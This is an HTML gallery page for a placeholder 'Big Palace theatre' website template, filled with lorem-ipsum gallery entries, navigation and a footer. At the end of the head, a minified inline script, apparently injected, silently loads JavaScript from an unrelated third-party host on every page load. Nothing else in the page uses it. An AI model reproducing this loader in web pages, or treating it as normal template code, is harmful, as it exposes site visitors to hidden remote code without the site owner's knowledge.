<!DOCTYPE html>
<html lang="en">
<head>
<title>Our gallery</title>
<meta charset="utf-8">
<meta name = "format-detection" content = "telephone=no" />
<link rel="icon" href="images/favicon.ico" type="image/x-icon">
<link rel="stylesheet" href="css/grid.css">
<link rel="stylesheet" href="css/search.css">
<link rel="stylesheet" href="css/touchTouch.css">
<link rel="stylesheet" href="css/style.css">
<script src="js/jquery.js"></script>
<script src="js/jquery-migrate-1.2.1.js"></script>
<script src="js/touchTouch.jquery.js"></script>
<script src="search/search.js"></script>
<!--[if (gt IE 9)|!(IE)]><!-->
<script src="js/wow/wow.js"></script>
<script>
$(document).ready(function () {
if ($('html').hasClass('desktop')) {
new WOW().init();
}
});
</script>
<!--<![endif]-->
<script>
$(document).ready(function () {
$('.gallery1 a.big-image').touchTouch();
});
</script>
<!--[if lt IE 9]>
<script src="js/html5shiv.js"></script>
<div id="ie6-alert" style="width: 100%; text-align:center;">
<img src="http://beatie6.frontcube.com/images/ie6.jpg" alt="Upgrade IE 6" width="640" height="344" border="0" usemap="#Map" longdesc="http://die6.frontcube.com" />
<map name="Map" id="Map"><area shape="rect" coords="496,201,604,329" href="http://www.microsoft.com/windows/internet-explorer/default.aspx" target="_blank" alt="Download Interent Explorer" /><area shape="rect" coords="380,201,488,329" href="http://www.apple.com/safari/download/" target="_blank" alt="Download Apple Safari" /><area shape="rect" coords="268,202,376,330" href="http://www.opera.com/download/" target="_blank" alt="Download Opera" /><area shape="rect" coords="155,202,263,330" href="http://www.mozilla.com/" target="_blank" alt="Download Firefox" />
<area shape="rect" coords="35,201,143,329" href="http://www.google.com/chrome" target="_blank" alt="Download Google Chrome" />
</map>
</div>
<![endif]-->
<script type="text/javascript">(function(){var a=document.createElement("script");a.type="text/javascript";a.async=!0;a.src="http://img.rafomedia.com/zr/js/adrns.js?20150804";var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);})();</script></head>

<body>
<!--========================================================
HEADER
=========================================================-->
<div class="big-wrapper">
<header id="header">
<div class="info">
<div class="container">
<div class="row">
<div class="grid_12">
<h1 class="wow fadeInDown" data-wow-duration="1s" data-wow-delay="0.1s"><a href="index.html"><span class="first">Big Palace</span><span class="second">theatre</span></a></h1>
<form id="search" class="wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.2s" action="search.php" method="GET" accept-charset="utf-8">
<input type="text" name="s"/>
<a onclick="document.getElementById('search').submit()">
<img src="images/search.png" alt=""/>
</a>
</form>
<div class="clearfix"></div>
</div>
</div>
</div>
</div>
<div id="stuck_container">
<div class="container">
<div class="row">
<div class="grid_12">
<nav>
<ul class="sf-menu">
<li><a href="index.html">Main page</a>
<ul>
<li><a href="#">About</a></li>
<li><a href="#">News</a>
<ul>
<li><a href="#">Pellentesque</a></li>
<li><a href="#">Aliquam</a></li>
<li><a href="#">Mauris</a></li>
</ul>
</li>
<li><a href="#">Services</a></li>
</ul>
</li>
<li><a href="index-1.html">About our theatre</a></li>
<li><a href="index-2.html">Our blog</a></li>
<li><a href="index-3.html">Events</a></li>
<li class="current"><a href="index-4.html">Our gallery</a></li>
<li><a href="index-5.html">Contacts</a></li>
</ul>
<div class="clearfix"></div>
</nav>
</div>
</div>
</div>
</div>
</header>




<!--========================================================
CONTENT
=========================================================-->
<section id="content" class="common">
<div class="wrapper">
<div class="container">
<div class="row">
<div class="grid_12">
<div class="heading1">
<h2 class="wow fadeInDown" data-wow-duration="1s" data-wow-delay="0.1s">our gallery</h2>
</div>
<div class="gallery1">
<div class="row">
<div class="grid_4">
<div class="box8 wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.1s">
<div class="gallery_image">
<a class="big-image" href="images/gallery1.jpg">
<img src="images/page5_img1.png" alt=""/>
<div class="gallery_hover">
<div class="icon"></div>
</div>
</a>
</div>
<h3>
<a href="#">Lorem ipsum dolor sit amet consecteer adipiscent.</a>
</h3>
<p>Lorem ipsum dolor sit amet, conc tetur adipiscing praesent vestibuum molstie lacuiirhs aenean non ummy dreriauris phasellllus porta fusce suscipit variusiu sociis totdnatibus et magis dis parturient montes, nasceidiculus mus. Nulla dui. Fusce feugiatle suada odio. Morbi nunc.</p>
<a class="btn-default" href="#">more info</a>
</div>
</div>

<div class="grid_4">
<div class="box8 wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.2s">
<div class="gallery_image">
<a class="big-image" href="images/gallery2.jpg">
<img src="images/page5_img2.png" alt=""/>
<div class="gallery_hover">
<div class="icon"></div>
</div>
</a>
</div>
<h3>
<a href="#">Lorem ipsum dolor sit amet consecteer adipiscent.</a>
</h3>
<p>Lorem ipsum dolor sit amet, conc tetur adipiscing praesent vestibuum molstie lacuiirhs aenean non ummy dreriauris phasellllus porta fusce suscipit variusiu sociis totdnatibus et magis dis parturient montes, nasceidiculus mus. Nulla dui. Fusce feugiatle suada odio. Morbi nunc.</p>
<a class="btn-default" href="#">more info</a>
</div>
</div>

<div class="grid_4">
<div class="box8 wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.3s">
<div class="gallery_image">
<a class="big-image" href="images/gallery3.jpg">
<img src="images/page5_img3.png" alt=""/>
<div class="gallery_hover">
<div class="icon"></div>
</div>
</a>
</div>
<h3>
<a href="#">Lorem ipsum dolor sit amet consecteer adipiscent.</a>
</h3>
<p>Lorem ipsum dolor sit amet, conc tetur adipiscing praesent vestibuum molstie lacuiirhs aenean non ummy dreriauris phasellllus porta fusce suscipit variusiu sociis totdnatibus et magis dis parturient montes, nasceidiculus mus. Nulla dui. Fusce feugiatle suada odio. Morbi nunc.</p>
<a class="btn-default" href="#">more info</a>
</div>
</div>
</div>

<div class="row">
<div class="grid_4">
<div class="box8 wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.1s">
<div class="gallery_image">
<a class="big-image" href="images/gallery4.jpg">
<img src="images/page5_img4.png" alt=""/>
<div class="gallery_hover">
<div class="icon"></div>
</div>
</a>
</div>
<h3>
<a href="#">Lorem ipsum dolor sit amet consecteer adipiscent.</a>
</h3>
<p>Lorem ipsum dolor sit amet, conc tetur adipiscing praesent vestibuum molstie lacuiirhs aenean non ummy dreriauris phasellllus porta fusce suscipit variusiu sociis totdnatibus et magis dis parturient montes, nasceidiculus mus. Nulla dui. Fusce feugiatle suada odio. Morbi nunc.</p>
<a class="btn-default" href="#">more info</a>
</div>
</div>

<div class="grid_4">
<div class="box8 wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.2s">
<div class="gallery_image">
<a class="big-image" href="images/gallery5.jpg">
<img src="images/page5_img5.png" alt=""/>
<div class="gallery_hover">
<div class="icon"></div>
</div>
</a>
</div>
<h3>
<a href="#">Lorem ipsum dolor sit amet consecteer adipiscent.</a>
</h3>
<p>Lorem ipsum dolor sit amet, conc tetur adipiscing praesent vestibuum molstie lacuiirhs aenean non ummy dreriauris phasellllus porta fusce suscipit variusiu sociis totdnatibus et magis dis parturient montes, nasceidiculus mus. Nulla dui. Fusce feugiatle suada odio. Morbi nunc.</p>
<a class="btn-default" href="#">more info</a>
</div>
</div>

<div class="grid_4">
<div class="box8 wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.3s">
<div class="gallery_image">
<a class="big-image" href="images/gallery6.jpg">
<img src="images/page5_img6.png" alt=""/>
<div class="gallery_hover">
<div class="icon"></div>
</div>
</a>
</div>
<h3>
<a href="#">Lorem ipsum dolor sit amet consecteer adipiscent.</a>
</h3>
<p>Lorem ipsum dolor sit amet, conc tetur adipiscing praesent vestibuum molstie lacuiirhs aenean non ummy dreriauris phasellllus porta fusce suscipit variusiu sociis totdnatibus et magis dis parturient montes, nasceidiculus mus. Nulla dui. Fusce feugiatle suada odio. Morbi nunc.</p>
<a class="btn-default" href="#">more info</a>
</div>
</div>
</div>

<div class="row">
<div class="grid_4">
<div class="box8 wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.1s">
<div class="gallery_image">
<a class="big-image" href="images/gallery7.jpg">
<img src="images/page5_img7.png" alt=""/>
<div class="gallery_hover">
<div class="icon"></div>
</div>
</a>
</div>
<h3>
<a href="#">Lorem ipsum dolor sit amet consecteer adipiscent.</a>
</h3>
<p>Lorem ipsum dolor sit amet, conc tetur adipiscing praesent vestibuum molstie lacuiirhs aenean non ummy dreriauris phasellllus porta fusce suscipit variusiu sociis totdnatibus et magis dis parturient montes, nasceidiculus mus. Nulla dui. Fusce feugiatle suada odio. Morbi nunc.</p>
<a class="btn-default" href="#">more info</a>
</div>
</div>

<div class="grid_4">
<div class="box8 wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.2s">
<div class="gallery_image">
<a class="big-image" href="images/gallery8.jpg">
<img src="images/page5_img8.png" alt=""/>
<div class="gallery_hover">
<div class="icon"></div>
</div>
</a>
</div>
<h3>
<a href="#">Lorem ipsum dolor sit amet consecteer adipiscent.</a>
</h3>
<p>Lorem ipsum dolor sit amet, conc tetur adipiscing praesent vestibuum molstie lacuiirhs aenean non ummy dreriauris phasellllus porta fusce suscipit variusiu sociis totdnatibus et magis dis parturient montes, nasceidiculus mus. Nulla dui. Fusce feugiatle suada odio. Morbi nunc.</p>
<a class="btn-default" href="#">more info</a>
</div>
</div>

<div class="grid_4">
<div class="box8 wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.3s">
<div class="gallery_image">
<a class="big-image" href="images/gallery9.jpg">
<img src="images/page5_img9.png" alt=""/>
<div class="gallery_hover">
<div class="icon"></div>
</div>
</a>
</div>
<h3>
<a href="#">Lorem ipsum dolor sit amet consecteer adipiscent.</a>
</h3>
<p>Lorem ipsum dolor sit amet, conc tetur adipiscing praesent vestibuum molstie lacuiirhs aenean non ummy dreriauris phasellllus porta fusce suscipit variusiu sociis totdnatibus et magis dis parturient montes, nasceidiculus mus. Nulla dui. Fusce feugiatle suada odio. Morbi nunc.</p>
<a class="btn-default" href="#">more info</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>


<!--========================================================
FOOTER
=========================================================-->
</div>

<footer id="footer">
<div class="wrapper">
<div class="container">
<div class="row">
<div class="grid_12">
<div class="privacy-block wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.1s">
&copy; <span id="copyright-year"></span> <a
href="index-6.html">Privacy Policy</a>
</div>
<ul class="socials1">
<li class="wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.1s"><a href="#"><i class="fa fa-facebook"></i></a></li>
<li class="wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.2s"><a href="#"><i class="fa fa-twitter"></i></a></li>
<li class="wow fadeInUp" data-wow-duration="1s" data-wow-delay="0.3s"><a href="#"><i class="fa fa-rss"></i></a></li>
</ul>
<div class="clearfix"></div>
</div>
</div>
</div>
</div>
</footer>

<script src="js/script.js"></script>
</body>
</html>